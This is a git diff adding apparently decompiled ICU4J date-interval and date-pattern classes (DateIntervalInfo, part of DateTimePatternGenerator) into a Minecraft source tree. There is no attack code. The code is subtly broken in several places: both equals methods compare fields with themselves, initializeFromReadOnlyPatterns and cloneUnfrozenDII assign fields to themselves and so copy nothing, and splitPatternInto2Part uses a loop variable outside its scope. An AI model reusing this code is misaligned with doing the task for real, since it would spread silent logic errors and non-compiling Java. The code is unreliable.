+
+
+
+      intervalPatterns.put(DateIntervalInfo.CALENDAR_FIELD_TO_PATTERN_LETTER[field], pattern);
+    }
+    
+    return retValue;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static String adjustFieldWidth(String inputSkeleton, String bestMatchSkeleton, String bestMatchIntervalPattern, int differenceInfo)
+  {
+    if (bestMatchIntervalPattern == null) {
+      return null;
+    }
+    int[] inputSkeletonFieldWidth = new int[58];
+    int[] bestMatchSkeletonFieldWidth = new int[58];
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    DateIntervalInfo.parseSkeleton(inputSkeleton, inputSkeletonFieldWidth);
+    DateIntervalInfo.parseSkeleton(bestMatchSkeleton, bestMatchSkeletonFieldWidth);
+    if (differenceInfo == 2) {
+      bestMatchIntervalPattern = bestMatchIntervalPattern.replace('v', 'z');
+    }
+    
+    StringBuilder adjustedPtn = new StringBuilder(bestMatchIntervalPattern);
+    
+    boolean inQuote = false;
+    char prevCh = '\000';
+    int count = 0;
+    
+    int PATTERN_CHAR_BASE = 65;
+    
+
+    int adjustedPtnLength = adjustedPtn.length();
+    for (int i = 0; i < adjustedPtnLength; i++) {
+      char ch = adjustedPtn.charAt(i);
+      if ((ch != prevCh) && (count > 0))
+      {
+        char skeletonChar = prevCh;
+        if (skeletonChar == 'L')
+        {
+          skeletonChar = 'M';
+        }
+        int fieldCount = bestMatchSkeletonFieldWidth[(skeletonChar - PATTERN_CHAR_BASE)];
+        int inputFieldCount = inputSkeletonFieldWidth[(skeletonChar - PATTERN_CHAR_BASE)];
+        if ((fieldCount == count) && (inputFieldCount > fieldCount)) {
+          count = inputFieldCount - fieldCount;
+          for (int j = 0; j < count; j++) {
+            adjustedPtn.insert(i, prevCh);
+          }
+          i += count;
+          adjustedPtnLength += count;
+        }
+        count = 0;
+      }
+      if (ch == '\'')
+      {
+
+        if ((i + 1 < adjustedPtn.length()) && (adjustedPtn.charAt(i + 1) == '\'')) {
+          i++;
+        } else {
+          inQuote = !inQuote;
+        }
+      }
+      else if ((!inQuote) && (((ch >= 'a') && (ch <= 'z')) || ((ch >= 'A') && (ch <= 'Z'))))
+      {
+
+        prevCh = ch;
+        count++;
+      }
+    }
+    if (count > 0)
+    {
+
+      char skeletonChar = prevCh;
+      if (skeletonChar == 'L')
+      {
+        skeletonChar = 'M';
+      }
+      int fieldCount = bestMatchSkeletonFieldWidth[(skeletonChar - PATTERN_CHAR_BASE)];
+      int inputFieldCount = inputSkeletonFieldWidth[(skeletonChar - PATTERN_CHAR_BASE)];
+      if ((fieldCount == count) && (inputFieldCount > fieldCount)) {
+        count = inputFieldCount - fieldCount;
+        for (int j = 0; j < count; j++) {
+          adjustedPtn.append(prevCh);
+        }
+      }
+    }
+    return adjustedPtn.toString();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private void concatSingleDate2TimeInterval(String dtfmt, String datePattern, int field, Map<String, DateIntervalInfo.PatternInfo> intervalPatterns)
+  {
+    DateIntervalInfo.PatternInfo timeItvPtnInfo = (DateIntervalInfo.PatternInfo)intervalPatterns.get(DateIntervalInfo.CALENDAR_FIELD_TO_PATTERN_LETTER[field]);
+    
+    if (timeItvPtnInfo != null) {
+      String timeIntervalPattern = timeItvPtnInfo.getFirstPart() + timeItvPtnInfo.getSecondPart();
+      
+      String pattern = MessageFormat.format(dtfmt, new Object[] { timeIntervalPattern, datePattern });
+      
+      timeItvPtnInfo = DateIntervalInfo.genPatternInfo(pattern, timeItvPtnInfo.firstDateInPtnIsLaterDate());
+      
+      intervalPatterns.put(DateIntervalInfo.CALENDAR_FIELD_TO_PATTERN_LETTER[field], timeItvPtnInfo);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  private static boolean fieldExistsInSkeleton(int field, String skeleton)
+  {
+    String fieldChar = DateIntervalInfo.CALENDAR_FIELD_TO_PATTERN_LETTER[field];
+    return skeleton.indexOf(fieldChar) != -1;
+  }
+  
+
+
+
+  private void readObject(ObjectInputStream stream)
+    throws IOException, ClassNotFoundException
+  {
+    stream.defaultReadObject();
+    initializePattern(isDateIntervalInfoDefault ? LOCAL_PATTERN_CACHE : null);
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/text/DateIntervalInfo.java b/src/minecraft/com/ibm/icu/text/DateIntervalInfo.java
new file mode 100644
index 0000000..819e8df
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/DateIntervalInfo.java
@@ -0,0 +1,995 @@
+package com.ibm.icu.text;
+
+import com.ibm.icu.impl.ICUCache;
+import com.ibm.icu.impl.ICUResourceBundle;
+import com.ibm.icu.impl.SimpleCache;
+import com.ibm.icu.impl.Utility;
+import com.ibm.icu.util.Calendar;
+import com.ibm.icu.util.Freezable;
+import com.ibm.icu.util.ULocale;
+import com.ibm.icu.util.UResourceBundle;
+import java.io.Serializable;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.LinkedHashMap;
+import java.util.LinkedHashSet;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.MissingResourceException;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DateIntervalInfo
+  implements Cloneable, Freezable<DateIntervalInfo>, Serializable
+{
+  static final int currentSerialVersion = 1;
+  
+  public static final class PatternInfo
+    implements Cloneable, Serializable
+  {
+    static final int currentSerialVersion = 1;
+    private static final long serialVersionUID = 1L;
+    private final String fIntervalPatternFirstPart;
+    private final String fIntervalPatternSecondPart;
+    private final boolean fFirstDateInPtnIsLaterDate;
+    
+    public PatternInfo(String firstPart, String secondPart, boolean firstDateInPtnIsLaterDate)
+    {
+      fIntervalPatternFirstPart = firstPart;
+      fIntervalPatternSecondPart = secondPart;
+      fFirstDateInPtnIsLaterDate = firstDateInPtnIsLaterDate;
+    }
+    
+
+
+
+    public String getFirstPart()
+    {
+      return fIntervalPatternFirstPart;
+    }
+    
+
+
+
+    public String getSecondPart()
+    {
+      return fIntervalPatternSecondPart;
+    }
+    
+
+
+
+    public boolean firstDateInPtnIsLaterDate()
+    {
+      return fFirstDateInPtnIsLaterDate;
+    }
+    
+
+
+
+    public boolean equals(Object a)
+    {
+      if ((a instanceof PatternInfo)) {
+        PatternInfo patternInfo = (PatternInfo)a;
+        return (Utility.objectEquals(fIntervalPatternFirstPart, fIntervalPatternFirstPart)) && (Utility.objectEquals(fIntervalPatternSecondPart, fIntervalPatternSecondPart)) && (fFirstDateInPtnIsLaterDate == fFirstDateInPtnIsLaterDate);
+      }
+      
+
+      return false;
+    }
+    
+
+
+
+    public int hashCode()
+    {
+      int hash = fIntervalPatternFirstPart != null ? fIntervalPatternFirstPart.hashCode() : 0;
+      if (fIntervalPatternSecondPart != null) {
+        hash ^= fIntervalPatternSecondPart.hashCode();
+      }
+      if (fFirstDateInPtnIsLaterDate) {
+        hash ^= 0xFFFFFFFF;
+      }
+      return hash;
+    }
+  }
+  
+
+
+  static final String[] CALENDAR_FIELD_TO_PATTERN_LETTER = { "G", "y", "M", "w", "W", "d", "D", "E", "F", "a", "h", "H", "m" };
+  
+
+
+
+  private static final long serialVersionUID = 1L;
+  
+
+
+
+  private static final int MINIMUM_SUPPORTED_CALENDAR_FIELD = 12;
+  
+
+
+
+  private static String FALLBACK_STRING = "fallback";
+  private static String LATEST_FIRST_PREFIX = "latestFirst:";
+  private static String EARLIEST_FIRST_PREFIX = "earliestFirst:";
+  
+
+  private static final ICUCache<String, DateIntervalInfo> DIICACHE = new SimpleCache();
+  
+
+  private String fFallbackIntervalPattern;
+  
+  private boolean fFirstDateInPtnIsLaterDate = false;
+  
+
+  private Map<String, Map<String, PatternInfo>> fIntervalPatterns = null;
+  
+  private transient boolean frozen = false;
+  
+
+
+
+
+  private transient boolean fIntervalPatternsReadOnly = false;
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public DateIntervalInfo()
+  {
+    fIntervalPatterns = new HashMap();
+    fFallbackIntervalPattern = "{0} – {1}";
+  }
+  
+
+
+
+
+
+
+
+
+  public DateIntervalInfo(ULocale locale)
+  {
+    initializeData(locale);
+  }
+  
+
+
+
+
+
+  private void initializeData(ULocale locale)
+  {
+    String key = locale.toString();
+    DateIntervalInfo dii = (DateIntervalInfo)DIICACHE.get(key);
+    if (dii == null)
+    {
+      setup(locale);
+      
+      fIntervalPatternsReadOnly = true;
+      
+      DIICACHE.put(key, ((DateIntervalInfo)clone()).freeze());
+    } else {
+      initializeFromReadOnlyPatterns(dii);
+    }
+  }
+  
+
+
+
+
+
+  private void initializeFromReadOnlyPatterns(DateIntervalInfo dii)
+  {
+    fFallbackIntervalPattern = fFallbackIntervalPattern;
+    fFirstDateInPtnIsLaterDate = fFirstDateInPtnIsLaterDate;
+    fIntervalPatterns = fIntervalPatterns;
+    fIntervalPatternsReadOnly = true;
+  }
+  
+
+
+
+
+  private void setup(ULocale locale)
+  {
+    int DEFAULT_HASH_SIZE = 19;
+    fIntervalPatterns = new HashMap(DEFAULT_HASH_SIZE);
+    
+
+    fFallbackIntervalPattern = "{0} – {1}";
+    HashSet<String> skeletonSet = new HashSet();
+    
+    try
+    {
+      ULocale currentLocale = locale;
+      
+      String calendarTypeToUse = locale.getKeywordValue("calendar");
+      if (calendarTypeToUse == null) {
+        String[] preferredCalendarTypes = Calendar.getKeywordValuesForLocale("calendar", locale, true);
+        calendarTypeToUse = preferredCalendarTypes[0];
+      }
+      if (calendarTypeToUse == null) {
+        calendarTypeToUse = "gregorian";
+      }
+      do {
+        String name = currentLocale.getName();
+        if (name.length() == 0) {
+          break;
+        }
+        
+        ICUResourceBundle rb = (ICUResourceBundle)UResourceBundle.getBundleInstance("com/ibm/icu/impl/data/icudt51b", currentLocale);
+        
+
+
+
+
+
+
+
+
+        ICUResourceBundle itvDtPtnResource = rb.getWithFallback("calendar/" + calendarTypeToUse + "/intervalFormats");
+        
+        String fallback = itvDtPtnResource.getStringWithFallback(FALLBACK_STRING);
+        setFallbackIntervalPattern(fallback);
+        int size = itvDtPtnResource.getSize();
+        for (int index = 0; index < size; index++) {
+          String skeleton = itvDtPtnResource.get(index).getKey();
+          if (!skeletonSet.contains(skeleton))
+          {
+
+            skeletonSet.add(skeleton);
+            if (skeleton.compareTo(FALLBACK_STRING) != 0)
+            {
+
+              ICUResourceBundle intervalPatterns = (ICUResourceBundle)itvDtPtnResource.get(skeleton);
+              int ptnNum = intervalPatterns.getSize();
+              for (int ptnIndex = 0; ptnIndex < ptnNum; ptnIndex++) {
+                String key = intervalPatterns.get(ptnIndex).getKey();
+                String pattern = intervalPatterns.get(ptnIndex).getString();
+                
+                int calendarField = -1;
+                if (key.compareTo(CALENDAR_FIELD_TO_PATTERN_LETTER[1]) == 0) {
+                  calendarField = 1;
+                } else if (key.compareTo(CALENDAR_FIELD_TO_PATTERN_LETTER[2]) == 0) {
+                  calendarField = 2;
+                } else if (key.compareTo(CALENDAR_FIELD_TO_PATTERN_LETTER[5]) == 0) {
+                  calendarField = 5;
+                } else if (key.compareTo(CALENDAR_FIELD_TO_PATTERN_LETTER[9]) == 0) {
+                  calendarField = 9;
+                } else if (key.compareTo(CALENDAR_FIELD_TO_PATTERN_LETTER[10]) == 0) {
+                  calendarField = 10;
+                } else if (key.compareTo(CALENDAR_FIELD_TO_PATTERN_LETTER[12]) == 0) {
+                  calendarField = 12;
+                }
+                
+                if (calendarField != -1)
+                  setIntervalPatternInternally(skeleton, key, pattern);
+              }
+            }
+          }
+        }
+        try { UResourceBundle parentNameBundle = rb.get("%%Parent");
+          currentLocale = new ULocale(parentNameBundle.getString());
+        } catch (MissingResourceException e) {
+          currentLocale = currentLocale.getFallback();
+        }
+        if (currentLocale == null) break; } while (!currentLocale.getBaseName().equals("root"));
+    }
+    catch (MissingResourceException e) {}
+  }
+  
+
+
+
+
+
+
+  private static int splitPatternInto2Part(String intervalPattern)
+  {
+    boolean inQuote = false;
+    char prevCh = '\000';
+    int count = 0;
+    
+
+
+
+
+    int[] patternRepeated = new int[58];
+    
+    int PATTERN_CHAR_BASE = 65;
+    
+
+
+
+
+
+    boolean foundRepetition = false;
+    for (int i = 0; i < intervalPattern.length(); i++) {
+      char ch = intervalPattern.charAt(i);
+      
+      if ((ch != prevCh) && (count > 0))
+      {
+        int repeated = patternRepeated[(prevCh - PATTERN_CHAR_BASE)];
+        if (repeated == 0) {
+          patternRepeated[(prevCh - PATTERN_CHAR_BASE)] = 1;
+        } else {
+          foundRepetition = true;
+          break;
+        }
+        count = 0;
+      }
+      if (ch == '\'')
+      {
+
+        if ((i + 1 < intervalPattern.length()) && (intervalPattern.charAt(i + 1) == '\''))
+        {
+          i++;
+        } else {
+          inQuote = !inQuote;
+        }
+      }
+      else if ((!inQuote) && (((ch >= 'a') && (ch <= 'z')) || ((ch >= 'A') && (ch <= 'Z'))))
+      {
+
+        prevCh = ch;
+        count++;
+      }
+    }
+    
+
+
+
+    if ((count > 0) && (!foundRepetition) && 
+      (patternRepeated[(prevCh - PATTERN_CHAR_BASE)] == 0)) {
+      count = 0;
+    }
+    
+    return i - count;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void setIntervalPattern(String skeleton, int lrgDiffCalUnit, String intervalPattern)
+  {
+    if (frozen) {
+      throw new UnsupportedOperationException("no modification is allowed after DII is frozen");
+    }
+    if (lrgDiffCalUnit > 12) {
+      throw new IllegalArgumentException("calendar field is larger than MINIMUM_SUPPORTED_CALENDAR_FIELD");
+    }
+    if (fIntervalPatternsReadOnly) {
+      fIntervalPatterns = cloneIntervalPatterns(fIntervalPatterns);
+      fIntervalPatternsReadOnly = false;
+    }
+    PatternInfo ptnInfo = setIntervalPatternInternally(skeleton, CALENDAR_FIELD_TO_PATTERN_LETTER[lrgDiffCalUnit], intervalPattern);
+    
+
+    if (lrgDiffCalUnit == 11) {
+      setIntervalPattern(skeleton, CALENDAR_FIELD_TO_PATTERN_LETTER[9], ptnInfo);
+      
+
+      setIntervalPattern(skeleton, CALENDAR_FIELD_TO_PATTERN_LETTER[10], ptnInfo);
+
+    }
+    else if ((lrgDiffCalUnit == 5) || (lrgDiffCalUnit == 7))
+    {
+      setIntervalPattern(skeleton, CALENDAR_FIELD_TO_PATTERN_LETTER[5], ptnInfo);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private PatternInfo setIntervalPatternInternally(String skeleton, String lrgDiffCalUnit, String intervalPattern)
+  {
+    Map<String, PatternInfo> patternsOfOneSkeleton = (Map)fIntervalPatterns.get(skeleton);
+    boolean emptyHash = false;
+    if (patternsOfOneSkeleton == null) {
+      patternsOfOneSkeleton = new HashMap();
+      emptyHash = true;
+    }
+    boolean order = fFirstDateInPtnIsLaterDate;
+    
+    if (intervalPattern.startsWith(LATEST_FIRST_PREFIX)) {
+      order = true;
+      int prefixLength = LATEST_FIRST_PREFIX.length();
+      intervalPattern = intervalPattern.substring(prefixLength, intervalPattern.length());
+    } else if (intervalPattern.startsWith(EARLIEST_FIRST_PREFIX)) {
+      order = false;
+      int earliestFirstLength = EARLIEST_FIRST_PREFIX.length();
+      intervalPattern = intervalPattern.substring(earliestFirstLength, intervalPattern.length());
+    }
+    PatternInfo itvPtnInfo = genPatternInfo(intervalPattern, order);
+    
+    patternsOfOneSkeleton.put(lrgDiffCalUnit, itvPtnInfo);
+    if (emptyHash == true) {
+      fIntervalPatterns.put(skeleton, patternsOfOneSkeleton);
+    }
+    
+    return itvPtnInfo;
+  }
+  
+
+
+
+
+
+
+
+
+  private void setIntervalPattern(String skeleton, String lrgDiffCalUnit, PatternInfo ptnInfo)
+  {
+    Map<String, PatternInfo> patternsOfOneSkeleton = (Map)fIntervalPatterns.get(skeleton);
+    patternsOfOneSkeleton.put(lrgDiffCalUnit, ptnInfo);
+  }
+  
+
+
+
+
+
+
+
+
+  static PatternInfo genPatternInfo(String intervalPattern, boolean laterDateFirst)
+  {
+    int splitPoint = splitPatternInto2Part(intervalPattern);
+    
+    String firstPart = intervalPattern.substring(0, splitPoint);
+    String secondPart = null;
+    if (splitPoint < intervalPattern.length()) {
+      secondPart = intervalPattern.substring(splitPoint, intervalPattern.length());
+    }
+    
+    return new PatternInfo(firstPart, secondPart, laterDateFirst);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public PatternInfo getIntervalPattern(String skeleton, int field)
+  {
+    if (field > 12) {
+      throw new IllegalArgumentException("no support for field less than MINUTE");
+    }
+    Map<String, PatternInfo> patternsOfOneSkeleton = (Map)fIntervalPatterns.get(skeleton);
+    if (patternsOfOneSkeleton != null) {
+      PatternInfo intervalPattern = (PatternInfo)patternsOfOneSkeleton.get(CALENDAR_FIELD_TO_PATTERN_LETTER[field]);
+      
+      if (intervalPattern != null) {
+        return intervalPattern;
+      }
+    }
+    return null;
+  }
+  
+
+
+
+
+
+
+
+  public String getFallbackIntervalPattern()
+  {
+    return fFallbackIntervalPattern;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void setFallbackIntervalPattern(String fallbackPattern)
+  {
+    if (frozen) {
+      throw new UnsupportedOperationException("no modification is allowed after DII is frozen");
+    }
+    int firstPatternIndex = fallbackPattern.indexOf("{0}");
+    int secondPatternIndex = fallbackPattern.indexOf("{1}");
+    if ((firstPatternIndex == -1) || (secondPatternIndex == -1)) {
+      throw new IllegalArgumentException("no pattern {0} or pattern {1} in fallbackPattern");
+    }
+    if (firstPatternIndex > secondPatternIndex) {
+      fFirstDateInPtnIsLaterDate = true;
+    }
+    fFallbackIntervalPattern = fallbackPattern;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public boolean getDefaultOrder()
+  {
+    return fFirstDateInPtnIsLaterDate;
+  }
+  
+
+
+
+
+
+
+  public Object clone()
+  {
+    if (frozen) {
+      return this;
+    }
+    return cloneUnfrozenDII();
+  }
+  
+
+
+
+
+  private Object cloneUnfrozenDII()
+  {
+    try
+    {
+      DateIntervalInfo other = (DateIntervalInfo)super.clone();
+      fFallbackIntervalPattern = fFallbackIntervalPattern;
+      fFirstDateInPtnIsLaterDate = fFirstDateInPtnIsLaterDate;
+      if (fIntervalPatternsReadOnly) {
+        fIntervalPatterns = fIntervalPatterns;
+        fIntervalPatternsReadOnly = true;
+      } else {
+        fIntervalPatterns = cloneIntervalPatterns(fIntervalPatterns);
+        fIntervalPatternsReadOnly = false;
+      }
+      frozen = false;
+      return other;
+    }
+    catch (CloneNotSupportedException e) {
+      throw new IllegalStateException("clone is not supported");
+    }
+  }
+  
+
+  private static Map<String, Map<String, PatternInfo>> cloneIntervalPatterns(Map<String, Map<String, PatternInfo>> patterns)
+  {
+    Map<String, Map<String, PatternInfo>> result = new HashMap();
+    for (Map.Entry<String, Map<String, PatternInfo>> skeletonEntry : patterns.entrySet()) {
+      String skeleton = (String)skeletonEntry.getKey();
+      Map<String, PatternInfo> patternsOfOneSkeleton = (Map)skeletonEntry.getValue();
+      Map<String, PatternInfo> oneSetPtn = new HashMap();
+      for (Map.Entry<String, PatternInfo> calEntry : patternsOfOneSkeleton.entrySet()) {
+        String calField = (String)calEntry.getKey();
+        PatternInfo value = (PatternInfo)calEntry.getValue();
+        oneSetPtn.put(calField, value);
+      }
+      result.put(skeleton, oneSetPtn);
+    }
+    return result;
+  }
+  
+
+
+
+
+
+  public boolean isFrozen()
+  {
+    return frozen;
+  }
+  
+
+
+
+  public DateIntervalInfo freeze()
+  {
+    frozen = true;
+    fIntervalPatternsReadOnly = true;
+    return this;
+  }
+  
+
+
+
+  public DateIntervalInfo cloneAsThawed()
+  {
+    DateIntervalInfo result = (DateIntervalInfo)cloneUnfrozenDII();
+    return result;
+  }
+  
+
+
+
+
+
+
+
+  static void parseSkeleton(String skeleton, int[] skeletonFieldWidth)
+  {
+    int PATTERN_CHAR_BASE = 65;
+    for (int i = 0; i < skeleton.length(); i++) {
+      skeletonFieldWidth[(skeleton.charAt(i) - PATTERN_CHAR_BASE)] += 1;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static boolean stringNumeric(int fieldWidth, int anotherFieldWidth, char patternLetter)
+  {
+    if ((patternLetter == 'M') && (
+      ((fieldWidth <= 2) && (anotherFieldWidth > 2)) || ((fieldWidth > 2) && (anotherFieldWidth <= 2))))
+    {
+      return true;
+    }
+    
+    return false;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  DateIntervalFormat.BestMatchInfo getBestSkeleton(String inputSkeleton)
+  {
+    String bestSkeleton = inputSkeleton;
+    int[] inputSkeletonFieldWidth = new int[58];
+    int[] skeletonFieldWidth = new int[58];
+    
+    int DIFFERENT_FIELD = 4096;
+    int STRING_NUMERIC_DIFFERENCE = 256;
+    int BASE = 65;
+    
+
+
+
+    boolean replaceZWithV = false;
+    if (inputSkeleton.indexOf('z') != -1) {
+      inputSkeleton = inputSkeleton.replace('z', 'v');
+      replaceZWithV = true;
+    }
+    
+    parseSkeleton(inputSkeleton, inputSkeletonFieldWidth);
+    int bestDistance = Integer.MAX_VALUE;
+    
+
+
+
+    int bestFieldDifference = 0;
+    for (String skeleton : fIntervalPatterns.keySet())
+    {
+      for (int i = 0; i < skeletonFieldWidth.length; i++) {
+        skeletonFieldWidth[i] = 0;
+      }
+      parseSkeleton(skeleton, skeletonFieldWidth);
+      
+      int distance = 0;
+      int fieldDifference = 1;
+      for (int i = 0; i < inputSkeletonFieldWidth.length; i++) {
+        int inputFieldWidth = inputSkeletonFieldWidth[i];
+        int fieldWidth = skeletonFieldWidth[i];
+        if (inputFieldWidth != fieldWidth)
+        {
+
+          if (inputFieldWidth == 0) {
+            fieldDifference = -1;
+            distance += 4096;
+          } else if (fieldWidth == 0) {
+            fieldDifference = -1;
+            distance += 4096;
+          } else if (stringNumeric(inputFieldWidth, fieldWidth, (char)(i + 65)))
+          {
+            distance += 256;
+          } else {
+            distance += Math.abs(inputFieldWidth - fieldWidth);
+          } }
+      }
+      if (distance < bestDistance) {
+        bestSkeleton = skeleton;
+        bestDistance = distance;
+        bestFieldDifference = fieldDifference;
+      }
+      if (distance == 0) {
+        bestFieldDifference = 0;
+        break;
+      }
+    }
+    if ((replaceZWithV) && (bestFieldDifference != -1)) {
+      bestFieldDifference = 2;
+    }
+    return new DateIntervalFormat.BestMatchInfo(bestSkeleton, bestFieldDifference);
+  }
+  
+
+
+
+  public boolean equals(Object a)
+  {
+    if ((a instanceof DateIntervalInfo)) {
+      DateIntervalInfo dtInfo = (DateIntervalInfo)a;
+      return fIntervalPatterns.equals(fIntervalPatterns);
+    }
+    return false;
+  }
+  
+
+
+
+  public int hashCode()
+  {
+    return fIntervalPatterns.hashCode();
+  }
+  
+  /**
+   * @deprecated
+   */
+  public Map<String, Set<String>> getPatterns()
+  {
+    LinkedHashMap<String, Set<String>> result = new LinkedHashMap();
+    for (Map.Entry<String, Map<String, PatternInfo>> entry : fIntervalPatterns.entrySet()) {
+      result.put(entry.getKey(), new LinkedHashSet(((Map)entry.getValue()).keySet()));
+    }
+    return result;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/text/DateTimePatternGenerator.java b/src/minecraft/com/ibm/icu/text/DateTimePatternGenerator.java
new file mode 100644
index 0000000..9905f75
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/DateTimePatternGenerator.java
@@ -0,0 +1,2503 @@
+package com.ibm.icu.text;
+
+import com.ibm.icu.impl.ICUCache;
+import com.ibm.icu.impl.ICUResourceBundle;
+import com.ibm.icu.impl.PatternTokenizer;
+import com.ibm.icu.impl.SimpleCache;
+import com.ibm.icu.impl.Utility;
+import com.ibm.icu.util.Calendar;
+import com.ibm.icu.util.Freezable;
+import com.ibm.icu.util.ULocale;
+import com.ibm.icu.util.ULocale.Category;
+import com.ibm.icu.util.UResourceBundle;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.BitSet;
+import java.util.Collection;
+import java.util.HashSet;
+import java.util.Iterator;
+import java.util.LinkedHashMap;
+import java.util.LinkedHashSet;
+import java.util.List;
+import java.util.Map;
+import java.util.MissingResourceException;
+import java.util.Set;
+import java.util.TreeMap;
+import java.util.TreeSet;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DateTimePatternGenerator
+  implements Freezable<DateTimePatternGenerator>, Cloneable
+{
+  private static final boolean DEBUG = false;
+  public static final int ERA = 0;
+  public static final int YEAR = 1;
+  public static final int QUARTER = 2;
+  public static final int MONTH = 3;
+  public static final int WEEK_OF_YEAR = 4;
+  public static final int WEEK_OF_MONTH = 5;
+  public static final int WEEKDAY = 6;
+  public static final int DAY = 7;
+  public static final int DAY_OF_YEAR = 8;
+  public static final int DAY_OF_WEEK_IN_MONTH = 9;
+  public static final int DAYPERIOD = 10;
+  public static final int HOUR = 11;
+  public static final int MINUTE = 12;
+  public static final int SECOND = 13;
+  public static final int FRACTIONAL_SECOND = 14;
+  public static final int ZONE = 15;
+  public static final int TYPE_LIMIT = 16;
+  public static final int MATCH_NO_OPTIONS = 0;
+  public static final int MATCH_HOUR_FIELD_LENGTH = 2048;
+  /**
+   * @deprecated
+   */
+  public static final int MATCH_MINUTE_FIELD_LENGTH = 4096;
+  /**
+   * @deprecated
+   */
+  public static final int MATCH_SECOND_FIELD_LENGTH = 8192;
+  public static final int MATCH_ALL_FIELDS_LENGTH = 65535;
+  private TreeMap<DateTimeMatcher, PatternWithSkeletonFlag> skeleton2pattern;
+  private TreeMap<String, PatternWithSkeletonFlag> basePattern_pattern;
+  private String decimal;
+  private String dateTimeFormat;
+  private String[] appendItemFormats;
+  private String[] appendItemNames;
+  private char defaultHourFormatChar;
+  private boolean frozen;
+  private transient DateTimeMatcher current;
+  private transient FormatParser fp;
+  private transient DistanceInfo _distanceInfo;
+  private static final int FRACTIONAL_MASK = 16384;
+  private static final int SECOND_AND_FRACTIONAL_MASK = 24576;
+  
+  public static DateTimePatternGenerator getEmptyInstance()
+  {
+    return new DateTimePatternGenerator();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public static DateTimePatternGenerator getInstance()
+  {
+    return getInstance(ULocale.getDefault(ULocale.Category.FORMAT));
+  }
+  
+
+
+
+
+  public static DateTimePatternGenerator getInstance(ULocale uLocale)
+  {
+    return getFrozenInstance(uLocale).cloneAsThawed();
+  }
+  
+
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public static DateTimePatternGenerator getFrozenInstance(ULocale uLocale)
+  {
+    String localeKey = uLocale.toString();
+    DateTimePatternGenerator result = (DateTimePatternGenerator)DTPNG_CACHE.get(localeKey);
+    if (result != null) {
+      return result;
+    }
+    result = new DateTimePatternGenerator();
+    PatternInfo returnInfo = new PatternInfo();
+    String shortTimePattern = null;
+    
+    for (int i = 0; i <= 3; i++) {
+      SimpleDateFormat df = (SimpleDateFormat)DateFormat.getDateInstance(i, uLocale);
+      result.addPattern(df.toPattern(), false, returnInfo);
+      df = (SimpleDateFormat)DateFormat.getTimeInstance(i, uLocale);
+      result.addPattern(df.toPattern(), false, returnInfo);
+      if (i == 3)
+      {
+
+        shortTimePattern = df.toPattern();
+        
+
+
+        FormatParser fp = new FormatParser();
+        fp.set(shortTimePattern);
+        List<Object> items = fp.getItems();
+        for (int idx = 0; idx < items.size(); idx++) {
+          Object item = items.get(idx);
+          if ((item instanceof VariableField)) {
+            VariableField fld = (VariableField)item;
+            if (fld.getType() == 11) {
+              defaultHourFormatChar = fld.toString().charAt(0);
+              break;
+            }
+          }
+        }
+      }
+    }
+    
+    ICUResourceBundle rb = (ICUResourceBundle)UResourceBundle.getBundleInstance("com/ibm/icu/impl/data/icudt51b", uLocale);
+    
+    String calendarTypeToUse = uLocale.getKeywordValue("calendar");
+    if (calendarTypeToUse == null) {
+      String[] preferredCalendarTypes = Calendar.getKeywordValuesForLocale("calendar", uLocale, true);
+      calendarTypeToUse = preferredCalendarTypes[0];
+    }
+    if (calendarTypeToUse == null) {
+      calendarTypeToUse = "gregorian";
+    }
+    
+
+
+
+
+
+
+    try
+    {
+      ICUResourceBundle itemBundle = rb.getWithFallback("calendar/" + calendarTypeToUse + "/appendItems");
+      for (int i = 0; i < itemBundle.getSize(); i++) {
+        ICUResourceBundle formatBundle = (ICUResourceBundle)itemBundle.get(i);
+        String formatName = itemBundle.get(i).getKey();
+        String value = formatBundle.getString();
+        result.setAppendItemFormat(getAppendFormatNumber(formatName), value);
+      }
+    }
+    catch (MissingResourceException e) {}
+    
+    try
+    {
+      ICUResourceBundle itemBundle = rb.getWithFallback("fields");
+      
+      for (int i = 0; i < 16; i++) {
+        if (isCLDRFieldName(i)) {
+          ICUResourceBundle fieldBundle = itemBundle.getWithFallback(CLDR_FIELD_NAME[i]);
+          ICUResourceBundle dnBundle = fieldBundle.getWithFallback("dn");
+          String value = dnBundle.getString();
+          
+          result.setAppendItemName(i, value);
+        }
+      }
+    }
+    catch (MissingResourceException e) {}
+    
+
+    ICUResourceBundle availFormatsBundle = null;
+    
+
+
+
+
